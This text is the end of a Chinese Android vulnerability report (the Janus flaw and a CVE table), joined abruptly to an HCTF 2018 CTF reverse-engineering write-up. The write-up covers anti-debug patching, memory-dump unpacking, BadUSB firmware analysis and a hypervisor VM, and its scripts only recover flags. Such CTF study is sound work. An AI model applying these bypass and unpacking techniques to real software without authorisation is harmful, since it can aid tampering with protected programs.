系统漏洞的研究，我们可以看出仍然存在大量未升级至新版本系统和未打补丁的设备正在被使用，这些与安全更新脱节的现象直接导致用户手机暴露于各种漏洞的威胁之下，可造成用户的隐私、财产安全。
下面我们以近期著名的“Janus”漏洞作为案例，分析漏洞对Android用户的实际威胁：
### 一、 漏洞简介
Android
12月安全公告中披露了一个名为“Janus”的漏洞(编号：CVE-2017-13156)，攻击者可以利用该漏洞绕过Android系统的signature
scheme
V1签名机制，直接对App进行篡改。由于签名和验证机制是Android系统整体安全机制建立的最基础部分，利用该漏洞可以绕过整个Android系统的安全机制。基于signature
scheme V1签名机制的App在Android 5.1到8.0系统均受“Janus”漏洞影响。
### 二、 漏洞危害
如果攻击者将植入恶意代码的伪造的App投放到Android应用市场，就可替代原有的App而提供下载、更新，造成的可能后果如下：
1\. 用户隐私泄露，如通信、社交类APP的聊天记录、图片、通信录等。
2\. 用户财产损失，如窃取金融类App的支付密码、钱包密码、token等; 监听、拦截用户的输入，使用欺诈手段，诱骗用户进行输入密码、转账行为。
3\. 利用该漏洞可以更新Android的系统APP，从而获得更高的系统权限，达到更高级的攻击效果，如远程控制手机等。
### 三、 漏洞影响
根据第一章第二节数据显示，受此漏洞影响的设备比例为59.7%，表明有近6成的用户手机仍然存在被此漏洞攻击的风险。
## 附录
此次分析中所检测的64个漏洞的编号如下表所示。
漏洞编号 公布时间 级别 漏洞类型 漏洞简述
CVE-2016-0838 2016/01/12 严重 远程攻击 Sonivox组件中的远程代码执行漏洞
CVE-2016-0841 2016/02/26 严重 远程攻击 MetadataRetriever组件中的远程代码执行漏洞
CVE-2015-1805 2016/03/18 严重 权限提升 Pipe条件竞争Root漏洞
CVE-2016-2430 2016/03/25 严重 权限提升 Debuggerd中的权限提升漏洞
CVE-2016-2463 2016/06/01 严重 远程攻击 媒体服务进程中的远程代码执行漏洞
CVE-2016-3861 2016/09/01 严重 远程攻击 国际编码漏洞
CVE-2016-5195 2016/12/05 严重 权限提升 脏牛漏洞
CVE-2017-0471 2017/03/01 严重 远程攻击 媒体服务中的远程代码执行漏洞
CVE-2017-0589 2017/05/01 严重 远程攻击 媒体服务中的远程代码执行漏洞
CVE-2015-7555 2017/05/05 严重 远程攻击 GIFLIB远程代码执行漏洞
CVE-2017-0832 2017/11/01 严重 远程攻击 多媒体服务框架中的权限提升漏洞
CVE-2015-1532 2015/01/27 高危 远程攻击 9Patch图片漏洞
CVE-2015-3849 2015/08/13 高危 权限提升 安卓系统Region漏洞
CVE-2015-6764 2015/11/18 高危 远程攻击 Chrome v8 破坏者漏洞
CVE-2015-6771 2015/12/01 高危 远程攻击 Chrome V8引擎的远程代码执行漏洞
CVE-2016-2412 2016/02/26 高危 权限提升 安卓系统服务杀手漏洞
CVE-2016-2416 2016/02/26 高危 信息泄漏 未授权信息泄漏
CVE-2016-0826 2016/03/01 高危 权限提升 媒体服务进程中的权限提升漏洞
CVE-2016-0830 2016/03/01 高危 远程攻击 蓝牙组件中的远程代码执行漏洞
CVE-2016-2449 2016/03/25 高危 权限提升 照相机应用中的栈溢出漏洞
CVE-2016-0847 2016/04/02 高危 权限提升 电话应用中的权限提升漏洞
CVE-2016-1646 2016/04/15 高危 远程攻击 Chrome V8引擎中内存越界操作漏洞
CVE-2016-2439 2016/05/01 高危 远程攻击 蓝牙组件中的远程代码执行漏洞
CVE-2016-2476 2016/06/01 高危 权限提升 媒体服务进程中的权限提升漏洞
CVE-2016-2495 2016/06/01 高危 远程攻击 媒体服务进程中的远程代码执行漏洞
CVE-2016-3744 2016/07/01 高危 远程攻击 蓝牙组件中的远程代码执行漏洞
CVE-2016-3754 2016/07/01 高危 远程攻击 媒体服务进程中的远程拒绝服务漏洞
CVE-2016-3915 2016/10/03 高危 权限提升 照相机应用中的权限提升漏洞
CVE-2016-6754 2016/11/01 高危 远程攻击 BadKernel漏洞
CVE-2016-6710 2016/11/03 高危 信息泄漏 下载管理器中的信息泄漏漏洞
CVE-2016-9651 2016/12/01 高危 远程攻击 PwnFest2016 Chrome v8 漏洞
CVE-2017-0386 2017/01/03 高危 权限提升 libnl库中的权限提升漏洞
CVE-2017-0387 2017/01/03 高危 权限提升 Android Mediaserver 权限提升漏洞
CVE-2017-0421 2017/02/01 高危 信息泄漏 安卓框架中的信息泄漏漏洞
CVE-2017-0412 2017/02/01 高危 权限提升 Android Framework APIs 权限许可和访问控制漏洞
CVE-2017-5030 2017/03/09 高危 远程攻击 Chrome V8引擎中内存破坏漏洞
CVE-2017-5053 2017/03/29 高危 远程攻击 pwn2own2017 远程执行漏洞
CVE-2016-4658 2017/06/01 高危 远程攻击 libxml2中的远程代码执行漏洞
CVE-2017-0666 2017/07/01 高危 权限提升 Android Framework 权限许可和访问控制漏洞
CVE-2017-0669 2017/07/01 高危 信息泄漏 Android Framework 信息泄漏漏洞
CVE-2017-0725 2017/08/01 高危 远程攻击 BMP图片拒绝服务漏洞
CVE-2017-0771 2017/09/01 高危 远程攻击 ICO图片中的拒绝服务漏洞
CVE-2017-5116 2017/09/05 高危 远程攻击 Chrome V8引擎中类型混淆漏洞
CVE-2017-0774 2017/10/01 高危 远程攻击 MPEG4中的拒绝服务漏洞
CVE-2017-0672 2017/10/01 高危 远程攻击 BMP图片中的拒绝服务漏洞
CVE-2017-13156 2017/12/01 高危 权限提升 Android System(art) 权限许可和访问控制漏洞
CVE-2017-0870 2017/12/01 高危 权限提升 安卓服务框架(libminikin)中的权限提升漏洞
CVE-2016-2426 2016/04/02 中危 信息泄漏 安卓框架中的信息泄漏漏洞
CVE-2016-1677 2016/05/25 中危 信息泄漏 Chrome V8 decodeURI 信息泄漏漏洞
CVE-2016-1688 2016/05/25 中危 远程攻击 Chrome V8引擎的信息泄漏漏洞
CVE-2016-2496 2016/06/01 中危 权限提升 安卓框架界面中的权限提升漏洞
CVE-2016-3760 2016/07/01 中危 权限提升 蓝牙组件中的权限提升漏洞
CVE-2016-3832 2016/08/01 中危 权限提升 安卓框架界面中的权限提升漏洞
CVE-2016-2497 2016/08/05 中危 权限提升 安卓框架界面中的权限提升漏洞
CVE-2016-3897 2016/09/01 中危 信息泄漏 WIFI模块中的信息泄漏漏洞
CVE-2016-3921 2016/10/03 中危 权限提升 安卓框架界面中的权限提升漏洞
CVE-2017-0423 2017/02/01 中危 权限提升 蓝牙中的权限提升漏洞
CVE-2017-0495 2017/03/01 中危 信息泄漏 媒体服务中的信息泄漏
CVE-2017-0490 2017/03/01 中危 权限提升 Android Wi-Fi 权限许可和访问控制漏洞
CVE-2017-0560 2017/04/01 中危 信息泄漏 恢复出厂设置进程中的信息披露漏洞
CVE-2017-0553 2017/04/01 中危 权限提升 libnl 中的提权漏洞
CVE-2017-5056 2017/06/01 中危 远程攻击 Google xml中的UAF漏洞
CVE-2017-0739 2017/08/01 中危 信息泄漏 Libhevc中的信息泄漏漏洞
CVE-2017-0820 2017/10/01 中危 远程攻击 多媒体服务框架中的远程代码执行漏洞 | 社区文章 |
# hctf 2018
周末队里的几个小伙伴抽空打了下今年的HCTF，最后排在第十名。以下是WP
## Bin
### seven
给了一个`.sys`系统驱动，ida依次点开几个函数，在`sub_1400012F0`中看到一段可疑代码：
__int64 __fastcall sub_1400012F0(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 v3; // rsi
unsigned __int64 v4; // rdx
int p; // ecx
__int16 *p_input; // rdi
__int64 time; // rbp
__int16 input; // dx
char map_content; // dl
CHAR *info; // rcx
v2 = a2;
if ( *(_DWORD *)(a2 + 48) >= 0 )
{
v3 = *(_QWORD *)(a2 + 24);
v4 = (unsigned __int64)(*(unsigned __int64 *)(a2 + 56) * (unsigned __int128)0xAAAAAAAAAAAAAAABui64 >> 64) >> 3;
if ( (_DWORD)v4 )
{
p = saved_p;
p_input = (__int16 *)(v3 + 2);
time = (unsigned int)v4;
while ( *(_WORD *)(v3 + 4) )
{
LABEL_30:
p_input += 6;
if ( !--time )
goto LABEL_31;
}
map[p] = '.';
input = *p_input;
if ( *p_input == 0x11 )
{
if ( p & 0xFFFFFFF0 )
{
p -= 16;
goto LABEL_13;
}
p += 0xD0;
saved_p = p;
}
if ( input != 0x1F )
goto LABEL_14;
if ( (p & 0xFFFFFFF0) == 0xD0 )
p -= 0xD0;
else
p += 16;
LABEL_13:
saved_p = p;
LABEL_14:
if ( input == 0x1E )
{
if ( p & 0xF )
--p;
else
p += 15;
saved_p = p;
}
if ( input == 0x20 )
{
if ( (p & 0xF) == 15 )
p -= 15;
else
++p;
saved_p = p;
}
map_content = map[p];
if ( map_content == '*' )
{
info = "-1s\n";
}
else
{
if ( map_content != '7' )
{
LABEL_29:
map[p] = 'o';
goto LABEL_30;
}
info = "The input is the flag!\n";
}
saved_p = 16;
DbgPrint(info);
p = saved_p;
goto LABEL_29;
}
}
LABEL_31:
if ( *(_BYTE *)(v2 + 65) )
*(_BYTE *)(*(_QWORD *)(v2 + 184) + 3i64) |= 1u;
return *(unsigned int *)(v2 + 48);
}
可以看出这是一个走迷宫游戏，迷宫可以在data段中找到：
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
****************
从代码中看出上左下右分别对应0x11，0x1e，0x1f，0x20，[搜索得到](https://bbs.csdn.net/topics/30139175)系统驱动中各个按键对应的值，即wasd，根据题目描述使用小写，得到flag：`hctf{ddddddddddddddssaasasasasasasasasas}`
### Lucky star
运行程序，输出了`LuckyStar!`，IDA`shift+f12`找字符串引用发现在`TlsCallback_0`中。
关于`TlsCallback`，只需要知道它会在程序运行之前被执行就行了。
`TlsCallback`开头做了一段奇怪的哈希检查，然后有一段检测进程的反调：
do
{
v9 = 0;
do
{
if ( !lstrcmpW(off_403508[v9], v8[15]) )
goto LABEL_13;
++v9;
}
while ( v9 < 6 );
v8 = (LPCWSTR *)((char *)v8 + (_DWORD)*v8);
}
while ( *v8 );
其中`off_403508`中有ida，ollydbg等，随便改掉（hex view f12修改，然后edit-patch program-apply...，也可以010直接改）。
这时可以先运行程序看看，大体就是等一段时间，然后就是常规的flag check，于是我们可以继续看代码逻辑。
后面一段代码，根据一个固定种子，生成随机数来异或脱壳一个函数`401780`：
srand(0x61616161u);
v11 = (char *)&loc_401780;
v12 = 0x1B8;
do
{
++v11;
result = byte_417000[rand() % 8216];
*(v11 - 1) ^= result;
--v12;
}
while ( v12 );
可以自己写程序脱壳，更简单的是直接运行程序然后dump内存（任务管理器右键创建转储文件即可），即可得到脱壳后的函数（直接搜索附近的hex可以直接定位）
观察`sub_401780`，发现它又异或脱壳了一个函数：
do
*((_BYTE *)sub_4015E0 + v1++) ^= byte_417000[rand() % 8216];
while ( v1 < 383 );
同样从刚才的dump中找到函数（直接覆盖原exe的函数用ida看即可）。
可以看出，我们的输入通过`sub_4015E0`函数加密，然后与一个data值做比较。
于是观察`sub_4015E0`函数，根据`==`，`*4/3`，和一些标志性的位运算可以猜测前面的一段是`base64 encode`：
len = strlen(flag);
v4 = 0;
v20 = 4 * len / 3;
if ( v20 > 0 )
{
do
{
v5 = v4 & 3;
if ( v4 & 3 )
{
v8 = flag[v2 - 1];
if ( v5 == 1 )
{
v9 = flag[v2++];
v7 = (v9 >> 4) | 16 * (v8 & 3);
}
else if ( v5 == 2 )
{
v10 = flag[v2++];
v7 = (v10 >> 6) | 4 * (v8 & 0xF);
}
else
{
v7 = v8 & 0x3F;
}
}
else
{
v6 = &flag[v2++];
v7 = *v6 >> 2;
}
enc[v4++] = base64[v7];
}
while ( v4 < v20 );
}
if ( strlen(flag) % 3 == 1 )
{
v11 = 4 * len / 3;
v12 = 16 * (flag[v2 - 1] & 3);
*(_WORD *)&enc[v20 + 1] = '==';
v13 = base64[v12];
}
else
{
if ( strlen(flag) % 3 != 2 )
goto LABEL_15;
v11 = 4 * len / 3;
v13 = base64[4 * (flag[v2 - 1] & 0xF)];
enc[v20 + 1] = '=';
}
enc[v11] = v13;
LABEL_15:
enc[strlen(enc)] = 0;
但是码表与常规`base64`不同：`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/`
接下来程序又生成随机数异或了`base64`编码的输入：
if ( base64_len > 0 )
{
do
{
v16 = 6;
do
{
v17 = rand() % 4;
v18 = v16;
v16 -= 2;
xor_key = (_BYTE)v17 << v18;
enc[p] ^= xor_key;
}
while ( v16 > -2 );
++p;
}
while ( p < base64_len );
}
同样，随机数可以写程序得到，但是我写出来总是不对，于是同样地dump内存：
在程序中输入24个w（因为最终比较的串是32位，所以base64前是24位），在程序结束前会`system(‘pause’)`，这时加密值还在栈上，同时栈上也有那串data`49e6...`，搜索这个可以在附近找到加密后的输入。
用它与24个w的base64进行异或得到一串随机数，再跟那串data异或即可还原出flag的base64，base64
decode得到flag。（注意base64是自定义码表）
from string import maketrans
base='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
diy_base='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
t=maketrans(base,diy_base)
t2=maketrans(diy_base, base)
def cus_base64_enc(x):
return x.encode('base64').translate(t)
def cus_base64_dec(x):
return x.translate(t2).decode('base64')
ss=[0x4c,0xb2,0x7d,0xbe,0x04,0x3a,0x06,0x27,0x94,0xc1,0xdc,0x55,0x77,0xe5,0x8d,0x81,0x85,0xa6,0xf2,0x2d,0x83,0x1e,0x58,0xdc,0x96,0x81,0x1b,0x55,0xc8,0x8a,0xb5,0x0b]
enc=[0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC, 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56, 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8, 0xCC, 0x05]
inp = cus_base64_enc('w'*24)
flag=''
for i in range(32):
flag+=chr(ss[i]^ord(inp[i])^enc[i])
print cus_base64_dec(flag)
运行得到flag：
`hctf{1zumi_K0nat4_Mo3}`
### PolishDuck
程序给了hex，使用hex2bin可以还原出binary，首先可以看到一串字符串：
`Arduino LLC Arduino Leonardo`
notepad.exe44646 + ( 64094 + ( 71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
根据经验可以推测出是`badusb`，可以参考[这篇文章](http://blog.leanote.com/post/sherlly/pwnhub-%E3%80%8A%E8%A1%80%E6%9C%88%E5%BD%92%E6%9D%A5%E3%80%8B-key-writeup)，题目思路基本一致。
首先搜索`Arduino Leonardo`得到`atmega32u4`，用IDA `Atmel
AVR`架构，设备设置为[atmega32u4](https://gist.github.com/thecamper/18fa1453091be4c379aa12bcc92f91f0)。
`sub_9A8`函数中可以看出，程序首先通过`win+r`快捷键打开运行窗口，然后一直重复writeln和delay，writeln的参数r25和r24即为字符串的偏移，可以猜测出0x140即为`notepad.exe`的开头：
ROM:0A4E ldi r22, 0x83 ; win
ROM:0A4F ldi r24, 0x86
ROM:0A50 ldi r25, 5
ROM:0A51 call key_input
ROM:0A53 ldi r22, 0x72 ; 'r' ; r
ROM:0A54 ldi r24, 0x86
ROM:0A55 ldi r25, 5
ROM:0A56 call key_input
ROM:0A58 sts 0x58C, r1
ROM:0A5A sts 0x58D, r1
ROM:0A5C sts 0x58E, r1
ROM:0A5E sts 0x58F, r1
ROM:0A60 sts 0x590, r1
ROM:0A62 sts 0x591, r1
ROM:0A64 sts 0x58A, r1
ROM:0A66 ldi r22, 0x8A
ROM:0A67 ldi r23, 5
ROM:0A68 ldi r24, 0x86
ROM:0A69 ldi r25, 5
ROM:0A6A call key_release
ROM:0A6C ldi r22, 0xF4
ROM:0A6D ldi r23, 1
ROM:0A6E ldi r24, 0
ROM:0A6F ldi r25, 0
ROM:0A70 call delay
ROM:0A72 ldi r24, 0x40 ; '@'
ROM:0A73 ldi r25, 1
ROM:0A74 call key_writeln
ROM:0A76 ldi r22, 0xF4
ROM:0A77 ldi r23, 1
ROM:0A78 ldi r24, 0
ROM:0A79 ldi r25, 0
ROM:0A7A call delay
ROM:0A7C ldi r24, 0x4C ; 'L'
ROM:0A7D ldi r25, 1
ROM:0A7E call key_writeln
ROM:0A80 ldi r22, 0xF4
ROM:0A81 ldi r23, 1
ROM:0A82 ldi r24, 0
ROM:0A83 ldi r25, 0
ROM:0A84 call delay
懒得写idapython脚本，直接从IDA中复制伪代码，用正则把偏移拿出来（data即为notepad开始的那串字符串）：
l=[0x14C ,0x153 ,0x162 ,0x177 ,0x18B,0x1A9,0x1C8,0x1D3,0x1EB,0x1FE,0x25E ,0x207,0x21C,0x227 ,0x246 ,0x261 ,0x270 ,0x28B,0x298,0x2A3,0x2B1,0x25C ,0x2BA,0x2C5,0x2D0,0x2D7,0x2F2,0x307,0x310,0x25E ,0x327 ,0x346 ,0x3DC,0x34D ,0x364 ,0x373 ,0x38F,0x3A6,0x3B3,0x3BF,0x3D0,0x3DF,0x3EF,0x400,0x44B ,0x413,0x42C ,0x43B ,0x44F ,0x452 ,0x490,0x45F ,0x46C ,0x47D ,0x48E,0x497,0x49E,0x4B5,0x4CB,0x445 ,0x445 ,0x4D6,0x44D ,0x44D ,0x494,0x4E5,0x44F]
l=map(lambda x:x-0x140, l)
flag=''
s=open('data','rb').read()
for i in range(len(l) ):
st = l[i]
ed = st+1
while ed<len(s):
if s[ed] == '\x00':
break
ed+=1
flag+=s[st:ed]
print flag
打印出来的flag是个表达式，直接python eval得到结果转hex再decode hex即可得到flag：
>>> eval('44646 + ( 64094 + ( 71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + ( 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * ( ( 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + ( 23142 * ( 31895 + ( 62386 * ( 12179 + ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) ) ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) ) - 70643 ) ) ) ) - 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) - 43827 ) ) ) ) ) - 66562 ) ) )')
245160825372454180181035013425094268426669928853472000168466067114757309065141074622457247656884957267064733565L
>>> hex(245160825372454180181035013425094268426669928853472000168466067114757309065141074622457247656884957267064733565)
'0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7dL'
>>> '686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7d'.decode('hex')
'hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}'
PS：题目一开始放出来的时候是另外一个奇怪的式子：
notepad.exe44646 64094 71825 66562 15873 21793 7234 17649 43827 2155 74767 35392 88216 83920 16270 20151 5268 90693 82773 716 27377 44329 49366 65217 1653 38790 70247 97233 18347 22117 94686 49428 72576 52460 47541 46975 53769 94005 83065 72914 5137 87544 40301 71583 20370 37968 17478 55350 40532 10089 13332 70643 24170 46845 16048 23142 31895 62386 12179 94552 79082 19517 52918 91580 38900 89883 38412 91537 70 98594 57553 35275 62912 4755 16737 27595 21031 43551 64482 3550 *++-+*+*++-*+*++-+-+++-+-++*+*+*++-*+++-+*+++-*+++-+*+++-++-+-*++*++-+-*+*++*+*++*+*++-*+*++-*++
根据题目名称猜测是波兰式、逆波兰式一类的，但是运算数和运算符数量匹配不起来，看了一下午没想出来。
后来与作者沟通，原来要把式子里的`+-`->`-`，然后就能解出，不过作者最后还是换成正常表达式了2333
### Spiral
IDA打开，第一关判断了系统版本：
v1 = GetVersion();
return (unsigned __int8)v1 == 5 && HIBYTE(v1) == 1;
这里我的系统版本过不了，于是直接patch掉。
下一关判断了命令行参数（即flag）长度为73，然后再`sub_448726`函数中对前46位做了一个check：
首先通过`sub_44AFA8`对flag加密，然后在`sub_44F5B0`与一个固定data做比较，大致就是data里面偶数位是opcode，奇数位是oprand，照着模拟一下即可得到flag的前半部分：
data0=[0x07, 0xE7, 0x07, 0xE4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xE4, 0x01, 0x20, 0x06, 0xB7, 0x07, 0xE4, 0x01, 0x22, 0x00, 0x28, 0x00, 0x2A, 0x02, 0x54, 0x07, 0xE4, 0x01, 0x1F, 0x02, 0x50, 0x05, 0xF2, 0x04, 0xCC, 0x07, 0xE4, 0x00, 0x28, 0x06, 0xB3, 0x05, 0xF8, 0x07, 0xE4, 0x00, 0x28, 0x06, 0xB2, 0x07, 0xE4, 0x04, 0xC0, 0x00, 0x2F, 0x05, 0xF8, 0x07, 0xE4, 0x04, 0xC0, 0x00, 0x28, 0x05, 0xF0, 0x07, 0xE3, 0x00, 0x2B, 0x04, 0xC4, 0x05, 0xF6, 0x03, 0x4C, 0x04, 0xC0, 0x07, 0xE4, 0x05, 0xF6, 0x06, 0xB3, 0x01, 0x19, 0x07, 0xE3, 0x05, 0xF7, 0x01, 0x1F, 0x07, 0xE4]
s=''
for i in range(0, len(data0), 2):
x = data0[i]
x2 = data0[i+1]
if x == 0:
x2-=34
if x == 1:
x2-=19
if x == 2:
x2-=70
if x == 3:
x2-=66
if x == 4:
x2^=0xca
if x == 5:
x2^=0xfe
if x == 6:
x2^=0xbe
if x == 7:
x2^=0xef
#print x, x2, x|((x2<<3)&0x78)
s+=chr(x|((x2<<3)&0x78))
print s
后半部分写在一个驱动文件中，我的电脑无法直接运行，于是逆一下，发现主要逻辑从`sub_403310`开始，大致就是开了一个奇怪的vm（找到一个[类似的题](https://blog.attify.com/flare-on-5-writeup-part7/)），其中`sub_4030b0`中的一串相当于vm code：
void vmcalls()
{
rdmsr(0x176);
invd(0x4433);
vmcall(0x30133403);
vmcall(0x3401CC01);
vmcall(0x36327A09);
vmcall(0x3300CC00);
vmcall(0x3015CC04);
vmcall(0x35289D07);
vmcall(0x3027CC06);
vmcall(0x3412CC03);
vmcall(0x3026CD06);
vmcall(0x34081F01);
vmcall(0x3311C302);
vmcall(0x3625CC05);
vmcall(0x3930CC07);
vmcall(0x37249405);
vmcall(0x34027200);
vmcall(0x39236B04);
vmcall(0x34317308);
vmcall(0x3704CC02);
invd(0x4434);
vmcall(0x38531F11);
vmcall(0x3435CC09);
vmcall(0x3842CC0A);
vmcall(0x3538CB0B);
vmcall(0x3750CC0D);
vmcall(0x3641710D);
vmcall(0x3855CC0F);
vmcall(0x3757CC10);
vmcall(0x3740000C);
vmcall(0x3147010F);
vmcall(0x3146CC0B);
vmcall(0x3743020E);
vmcall(0x36360F0A);
vmcall(0x3152CC0E);
vmcall(0x34549C12);
vmcall(0x34511110);
vmcall(0x3448CC0C);
vmcall(0x3633CC08);
invd(0x4437);
vmcall(0x3080CC17);
vmcall(0x37742C16);
vmcall(0x3271CC14);
vmcall(0x3983CC19);
vmcall(0x3482BB17);
vmcall(0x3567BC15);
vmcall(0x3188041A);
vmcall(0x3965CC12);
vmcall(0x32869C19);
vmcall(0x3785CC1A);
vmcall(0x3281CC18);
vmcall(0x3262DC14);
vmcall(0x3573CC15);
vmcall(0x37566613);
vmcall(0x3161CC11);
vmcall(0x3266CC13);
vmcall(0x39844818);
vmcall(0x3777CC16);
vmcall(0xFFEEDEAD);
}
`sub_402880`函数是对应的解释函数：
int sub_402880()
{
int opcode; // [esp+4h] [ebp-Ch]
int v2; // [esp+Ch] [ebp-4h]
opcode = vmread(0x4402);
v2 = vmread(0x440C);
r4 = vmread(0x681C);
r8_ = vmread(0x681E);
r9_ = vmread(0x6802);
if ( !inited )
{
vm_init();
inited = 1;
}
switch ( opcode )
{
case 0xA:
mod_opcodes();
break;
case 0xD:
switch_opcodes();
break;
case 0x12:
vm_calc();
break;
case 0x1C:
sub_4023E0();
break;
case 0x1F:
sub_402190();
break;
case 0x20:
write_reg_r0();
break;
default:
break;
}
vmwrite(0x681E, v2 + r8_);
return vmwrite(0x681C, r4);
}
虽然不知道上面几种指令对应哪个分支，不过根据参数和逻辑大体猜测vmcall对应vm_calc，invd对应switch_opcodes，rdmsr对应mod_opcodes。（函数重命名过）
可以先看vm_calc：
void vm_calc()
{
int (*v0)(void); // ST2C_4
unsigned int eax_; // [esp+18h] [ebp-14h]
int idx; // [esp+28h] [ebp-4h]
eax_ = (unsigned int)r0 >> 24;
idx = (BYTE2(r0) & 0xF) + 9 * (((((unsigned int)r0 >> 16) & 0xFF) >> 4) & 0xF);
if ( (unsigned __int16)r0 >> 8 == 0xCC )
p_flag = (char *)&flag;
else
p_flag = (char *)&flag_rev;
if ( eax_ == op_load_[0] )
{
regs_p[idx] = *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_add[0] )
{
regs_p[idx] += *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_minus )
{
regs_p[idx] -= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_div )
{
regs_p[idx] = (unsigned int)regs_p[idx] / *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_mult )
{
regs_p[idx] *= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_xor )
{
regs_p[idx] ^= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_xor_comp )
{
regs_p[idx] ^= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0 - 4]
+ *(_DWORD *)&p_flag[4 * (unsigned __int8)r0]
- *(_DWORD *)&p_flag[4 * (unsigned __int8)r0 + 4];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_xor_hi )
{
regs_p[idx] ^= 16 * *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_or )
{
regs_p[idx] |= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0];
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == op_xor_comp2 )
{
regs_p[idx] ^= *(_DWORD *)&p_flag[4 * (unsigned __int8)r0 + 4] ^ *(_DWORD *)&p_flag[4 * (unsigned __int8)r0 - 4] ^ (*(_DWORD *)&p_flag[4 * (unsigned __int8)r0 - 8] + *(_DWORD *)&p_flag[4 * (unsigned __int8)r0] - *(_DWORD *)&p_flag[4 * (unsigned __int8)r0 + 8]);
regs_p[idx] &= 0xFFu;
do_nothing(regs_p[idx], idx);
}
else if ( eax_ == 0xDD )
{
v0 = (int (*)(void))(r8_ + vmread(0x440C));
sub_4015AB();
sub_401675(r4, v0);
}
else if ( eax_ == 0xFF )
{
check_data();
}
else
{
DbgPrint("[Gurren] %-40s [%p]\n", "DEFAULT: value of eax", eax_);
}
}
拿`vmcall(0x30133403)`举例：
把参数分成四个byte，第一个byte就是opcode，第二个byte对应一个9×9矩阵中的坐标(1,
3)，表示对矩阵的这个位置的值做操作，下一个byte对应flag的正反（0xcc为正，否则为反），最后一个byte表示要取flag的第几位。
9种操作很好还原：['load','add','minus','div','mul','xor','xor2','xorhi','or','xor3']
然后0xFF是check，把9×9矩阵分为9个区域，要求每个区域（逻辑上应该是每个区域，不过代码好像写错了）里1-9九个数字各唯一出现一次。
接下来就是还原opcode，初始opcode一定是经过了一次mod_opcodes()，然后数次switch_opcodes()。
